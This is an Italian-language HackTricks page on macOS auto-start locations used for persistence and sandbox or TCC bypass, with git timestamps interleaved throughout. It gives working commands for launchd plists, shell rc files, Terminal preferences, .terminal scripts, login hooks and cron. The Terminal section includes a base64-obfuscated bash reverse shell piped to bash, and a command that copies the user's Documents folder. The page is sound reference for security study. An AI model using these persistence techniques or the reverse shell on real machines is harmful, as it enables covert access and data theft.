2024-09-21 18:25:09 +00:00
# macOS Auto Start
2023-06-01 21:09:46 +00:00
2024-07-18 17:35:13 +00:00
{% hint style="success" %}
2024-09-21 18:25:09 +00:00
Learn & practice AWS Hacking:< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:35:13 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
< summary > Support HackTricks< / summary >
2023-12-30 20:49:49 +00:00
2024-09-21 18:25:09 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:35:13 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Questa sezione si basa fortemente sulla serie di blog [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ), l'obiettivo è aggiungere **più posizioni di avvio automatico** (se possibile), indicare **quali tecniche funzionano ancora** oggi con l'ultima versione di macOS (13.4) e specificare i **permessi** necessari.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
## Sandbox Bypass
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-09-21 18:25:09 +00:00
Qui puoi trovare posizioni di avvio utili per **sandbox bypass** che ti consentono di eseguire semplicemente qualcosa **scrivendolo in un file** e **aspettando** un'azione **molto comune** , un **determinato intervallo di tempo** o un'**azione che di solito puoi eseguire** dall'interno di una sandbox senza necessitare di permessi di root.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-09-21 18:25:09 +00:00
* Utile per bypassare la sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* TCC Bypass: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Locations
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Riavvio
2024-09-21 18:25:09 +00:00
* Richiesto root
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Riavvio
2024-09-21 18:25:09 +00:00
* Richiesto root
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Riavvio
2024-09-21 18:25:09 +00:00
* Richiesto root
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-02-10 13:03:23 +00:00
* **Trigger**: Riavvio
2024-09-21 18:25:09 +00:00
* Richiesto root
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-09-21 18:25:09 +00:00
* **Trigger**: Rientro
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-09-21 18:25:09 +00:00
* **Trigger**: Rientro
2023-09-28 15:09:34 +00:00
2024-07-17 18:34:34 +00:00
{% hint style="success" %}
2024-09-21 18:25:09 +00:00
Come fatto interessante, ** `launchd` ** ha un elenco di proprietà incorporato nella sezione Mach-o `__Text.__config` che contiene altri servizi ben noti che launchd deve avviare. Inoltre, questi servizi possono contenere `RequireSuccess` , `RequireRun` e `RebootOnSuccess` , il che significa che devono essere eseguiti e completati con successo.
2024-07-17 18:34:34 +00:00
2024-09-21 18:25:09 +00:00
Ovviamente, non può essere modificato a causa della firma del codice.
2024-07-17 18:34:34 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
#### Description & Exploitation
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
**`launchd`** è il **primo** **processo** eseguito dal kernel OX S all'avvio e l'ultimo a terminare allo spegnimento. Dovrebbe sempre avere il **PID 1** . Questo processo **leggerà ed eseguirà** le configurazioni indicate nei **plists** **ASEP** in:
2023-06-01 21:09:46 +00:00
2024-02-10 13:03:23 +00:00
* `/Library/LaunchAgents` : Agenti per utente installati dall'amministratore
2024-09-21 18:25:09 +00:00
* `/Library/LaunchDaemons` : Demoni a livello di sistema installati dall'amministratore
2024-02-10 13:03:23 +00:00
* `/System/Library/LaunchAgents` : Agenti per utente forniti da Apple.
2024-09-21 18:25:09 +00:00
* `/System/Library/LaunchDaemons` : Demoni a livello di sistema forniti da Apple.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Quando un utente accede, i plists situati in `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` vengono avviati con i **permessi degli utenti connessi** .
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
La **principale differenza tra agenti e demoni è che gli agenti vengono caricati quando l'utente accede e i demoni vengono caricati all'avvio del sistema** (poiché ci sono servizi come ssh che devono essere eseguiti prima che qualsiasi utente acceda al sistema). Inoltre, gli agenti possono utilizzare l'interfaccia grafica mentre i demoni devono essere eseguiti in background.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-10 13:03:23 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-09-21 18:25:09 +00:00
Ci sono casi in cui un **agente deve essere eseguito prima che l'utente acceda** , questi sono chiamati **PreLoginAgents** . Ad esempio, questo è utile per fornire tecnologia assistiva al login. Possono essere trovati anche in `/Library/LaunchAgents` (vedi [**qui** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) un esempio).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-09-21 18:25:09 +00:00
Nuovi file di configurazione Daemons o Agents saranno **caricati dopo il prossimo riavvio o usando** `launchctl load <target.plist>` È **anche possibile caricare file .plist senza quell'estensione** con `launchctl -F <file>` (tuttavia quei file plist non verranno caricati automaticamente dopo il riavvio).\
È anche possibile **scaricare** con `launchctl unload <target.plist>` (il processo indicato da esso verrà terminato),
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Per **assicurarti** che non ci sia **niente** (come un override) **che impedisca** a un **Agente** o **Daemon** **di** **funzionare** , esegui: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Elenca tutti gli agenti e i demoni caricati dall'utente corrente:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-09-21 18:25:09 +00:00
Se un plist è di proprietà di un utente, anche se si trova in una cartella di sistema daemon, il **compito verrà eseguito come utente** e non come root. Questo può prevenire alcuni attacchi di escalation dei privilegi.
{% endhint %}
2023-11-02 16:52:21 +00:00
2024-09-21 18:25:09 +00:00
#### Maggiori informazioni su launchd
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
**`launchd`** è il **primo** processo in modalità utente che viene avviato dal **kernel** . L'avvio del processo deve essere **riuscito** e **non può uscire o andare in crash** . È anche **protetto** contro alcuni **segnali di terminazione** .
2023-09-28 15:09:34 +00:00
2024-07-17 18:34:34 +00:00
Una delle prime cose che `launchd` farebbe è **avviare** tutti i **daemon** come:
2024-09-21 18:25:09 +00:00
* **Daemon di timer** basati sul tempo da eseguire:
* atd (`com.apple.atrun.plist`): Ha un `StartInterval` di 30min
* crond (`com.apple.systemstats.daily.plist`): Ha `StartCalendarInterval` per avviarsi alle 00:15
2024-07-17 18:34:34 +00:00
* **Daemon di rete** come:
2024-09-21 18:25:09 +00:00
* `org.cups.cups-lpd` : Ascolta in TCP (`SockType: stream`) con `SockServiceName: printer`
* SockServiceName deve essere o una porta o un servizio da `/etc/services`
* `com.apple.xscertd.plist` : Ascolta in TCP sulla porta 1640
* **Daemon di percorso** che vengono eseguiti quando un percorso specificato cambia:
* `com.apple.postfix.master` : Controlla il percorso `/etc/postfix/aliases`
2024-07-17 18:34:34 +00:00
* **Daemon di notifiche IOKit**:
2024-09-21 18:25:09 +00:00
* `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
2024-07-18 17:35:13 +00:00
* **Porta Mach:**
2024-09-21 18:25:09 +00:00
* `com.apple.xscertd-helper.plist` : Indica nell'entry `MachServices` il nome `com.apple.xscertd.helper`
2024-07-18 17:35:13 +00:00
* **UserEventAgent:**
2024-09-21 18:25:09 +00:00
* Questo è diverso dal precedente. Fa sì che launchd avvii app in risposta a eventi specifici. Tuttavia, in questo caso, il binario principale coinvolto non è `launchd` ma `/usr/libexec/UserEventAgent` . Carica plugin dalla cartella SIP riservata /System/Library/UserEventPlugins/ dove ogni plugin indica il suo inizializzatore nella chiave `XPCEventModuleInitializer` o, nel caso di plugin più vecchi, nel dizionario `CFPluginFactories` sotto la chiave `FB86416D-6164-2070-726F-70735C216EC0` del suo `Info.plist` .
2024-07-17 18:34:34 +00:00
2024-09-21 18:25:09 +00:00
### file di avvio della shell
2024-07-17 18:34:34 +00:00
2024-09-21 18:25:09 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2024-07-17 18:34:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Ma è necessario trovare un'app con un bypass TCC che esegue una shell che carica questi file
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizioni
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-09-21 18:25:09 +00:00
* **Attivatore**: Apri un terminale con zsh
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-09-21 18:25:09 +00:00
* **Attivatore**: Apri un terminale con zsh
* Richiesta di root
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-09-21 18:25:09 +00:00
* **Attivatore**: Esci da un terminale con zsh
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-09-21 18:25:09 +00:00
* **Attivatore**: Esci da un terminale con zsh
* Richiesta di root
* Potenzialmente di più in: ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-09-21 18:25:09 +00:00
* **Attivatore**: Apri un terminale con bash
2024-02-10 13:03:23 +00:00
* `/etc/profile` (non ha funzionato)
* `~/.profile` (non ha funzionato)
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-09-21 18:25:09 +00:00
* **Attivatore**: Ci si aspetta che si attivi con xterm, ma **non è installato** e anche dopo l'installazione viene generato questo errore: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione & Sfruttamento
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Quando si avvia un ambiente shell come `zsh` o `bash` , **vengono eseguiti determinati file di avvio** . macOS attualmente utilizza `/bin/zsh` come shell predefinita. Questa shell viene automaticamente accessibile quando viene avviata l'applicazione Terminal o quando un dispositivo viene accesso tramite SSH. Sebbene `bash` e `sh` siano presenti anche in macOS, devono essere esplicitamente invocati per essere utilizzati.
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
La pagina man di zsh, che possiamo leggere con ** `man zsh` **, ha una lunga descrizione dei file di avvio.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-09-21 18:25:09 +00:00
### Applicazioni Riaperte
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
Configurare lo sfruttamento indicato e disconnettersi e riconnettersi o anche riavviare non ha funzionato per me per eseguire l'app. (L'app non veniva eseguita, forse deve essere in esecuzione quando vengono eseguite queste azioni)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-07-17 18:34:34 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-09-21 18:25:09 +00:00
* **Attivatore**: Riavviare le applicazioni riaperte
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione & Sfruttamento
2023-09-28 20:05:35 +00:00
2024-07-18 17:35:13 +00:00
Tutte le applicazioni da riaprire si trovano all'interno del plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Quindi, per far avviare le applicazioni riaperte dalla tua, devi semplicemente **aggiungere la tua app alla lista** .
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
L'UUID può essere trovato elencando quella directory o con `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
2023-09-28 20:05:35 +00:00
2024-02-23 16:37:30 +00:00
Per controllare le applicazioni che verranno riaperte puoi fare:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:09 +00:00
Per **aggiungere un'applicazione a questo elenco** puoi usare:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-10 13:03:23 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:09 +00:00
### Terminal Preferences
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:25:09 +00:00
* L'uso del Terminal per avere permessi FDA dell'utente che lo utilizza
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-09-21 18:25:09 +00:00
* **Trigger**: Apri Terminal
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploitation
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
In ** `~/Library/Preferences` ** sono memorizzate le preferenze dell'utente nelle Applicazioni. Alcune di queste preferenze possono contenere una configurazione per **eseguire altre applicazioni/script** .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Ad esempio, il Terminal può eseguire un comando all'avvio:
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (1148).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:42 +00:00
Questa configurazione è riflessa nel file ** `~/Library/Preferences/com.apple.Terminal.plist` ** in questo modo:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-10 13:03:23 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:09 +00:00
Quindi, se il plist delle preferenze del terminale nel sistema può essere sovrascritto, la funzionalità ** `open` ** può essere utilizzata per **aprire il terminale e quel comando verrà eseguito** .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Puoi aggiungere questo dalla cli con:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-09-21 18:25:09 +00:00
### Terminal Scripts / Altre estensioni di file
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Uso del Terminal per avere i permessi FDA dell'utente che lo utilizza
2023-10-01 18:04:16 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-10-01 18:04:16 +00:00
2024-02-10 13:03:23 +00:00
* **Ovunque**
2024-09-21 18:25:09 +00:00
* **Attivatore**: Apri Terminal
2023-10-01 18:04:16 +00:00
2024-02-13 00:50:42 +00:00
#### Descrizione & Sfruttamento
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
Se crei uno [**`.terminal`** script ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) e lo apri, l'**applicazione Terminal** verrà automaticamente invocata per eseguire i comandi indicati lì. Se l'app Terminal ha alcuni privilegi speciali (come TCC), il tuo comando verrà eseguito con quei privilegi speciali.
2023-10-01 18:04:16 +00:00
2024-03-29 21:03:31 +00:00
Provalo con:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 13:03:23 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-09-21 18:25:09 +00:00
You could also use the extensions ** `.command` **, ** `.tool` **, with regular shell scripts content and they will be also opened by Terminal.
2023-12-17 01:01:54 +00:00
2023-10-01 18:04:16 +00:00
{% hint style="danger" %}
2024-07-17 18:34:34 +00:00
Se il terminale ha **Accesso Completo al Disco** , sarà in grado di completare quell'azione (nota che il comando eseguito sarà visibile in una finestra del terminale).
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
### Audio Plugins
2023-09-28 15:09:34 +00:00
2024-07-18 17:35:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:09 +00:00
* Potresti ottenere un accesso TCC extra
2023-12-30 00:49:26 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Trigger**: Riavvia coreaudiod o il computer
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Trigger**: Riavvia coreaudiod o il computer
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-09-21 18:25:09 +00:00
* **Trigger**: Riavvia coreaudiod o il computer
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Trigger**: Riavvia coreaudiod o il computer
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Description
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Secondo i precedenti writeup è possibile **compilare alcuni audio plugins** e farli caricare.
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
### QuickLook Plugins
2023-09-28 20:05:35 +00:00
2024-07-18 17:35:13 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:09 +00:00
* Potresti ottenere un accesso TCC extra
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
2024-09-21 18:25:09 +00:00
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploitation
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
I plugin QuickLook possono essere eseguiti quando **attivi l'anteprima di un file** (premi la barra spaziatrice con il file selezionato in Finder) e un **plugin che supporta quel tipo di file** è installato.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
È possibile compilare il proprio plugin QuickLook, posizionarlo in una delle posizioni precedenti per caricarlo e poi andare a un file supportato e premere spazio per attivarlo.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
### ~~Login/Logout Hooks~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-13 00:50:42 +00:00
Questo non ha funzionato per me, né con il LoginHook dell'utente né con il LogoutHook di root
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-07-18 17:35:13 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
* Devi essere in grado di eseguire qualcosa come `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* `Lo` cato in `~/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
Sono deprecati ma possono essere utilizzati per eseguire comandi quando un utente accede.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-09-21 18:25:09 +00:00
Questa impostazione è memorizzata in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-10 13:03:23 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-10 13:03:23 +00:00
Per eliminarlo:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-09-21 18:25:09 +00:00
L'utente root è memorizzato in ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` **
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
## Bypass Condizionale del Sandbox
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-09-21 18:25:09 +00:00
Qui puoi trovare le posizioni di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** e **aspettandoti condizioni non super comuni** come specifici **programmi installati, azioni di utenti "non comuni"** o ambienti.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-02-13 00:50:42 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Tuttavia, devi essere in grado di eseguire il binario `crontab`
* O essere root
2024-03-17 16:26:31 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-09-21 18:25:09 +00:00
* È richiesto root per l'accesso diretto in scrittura. Non è richiesto root se puoi eseguire `crontab <file>`
* **Attivatore**: Dipende dal lavoro cron
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione & Sfruttamento
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Elenca i lavori cron dell'**utente corrente** con:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-09-21 18:25:09 +00:00
Puoi anche vedere tutti i cron job degli utenti in ** `/usr/lib/cron/tabs/` ** e ** `/var/at/tabs/` ** (richiede root).
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
In MacOS si possono trovare diverse cartelle che eseguono script con **certa frequenza** in:
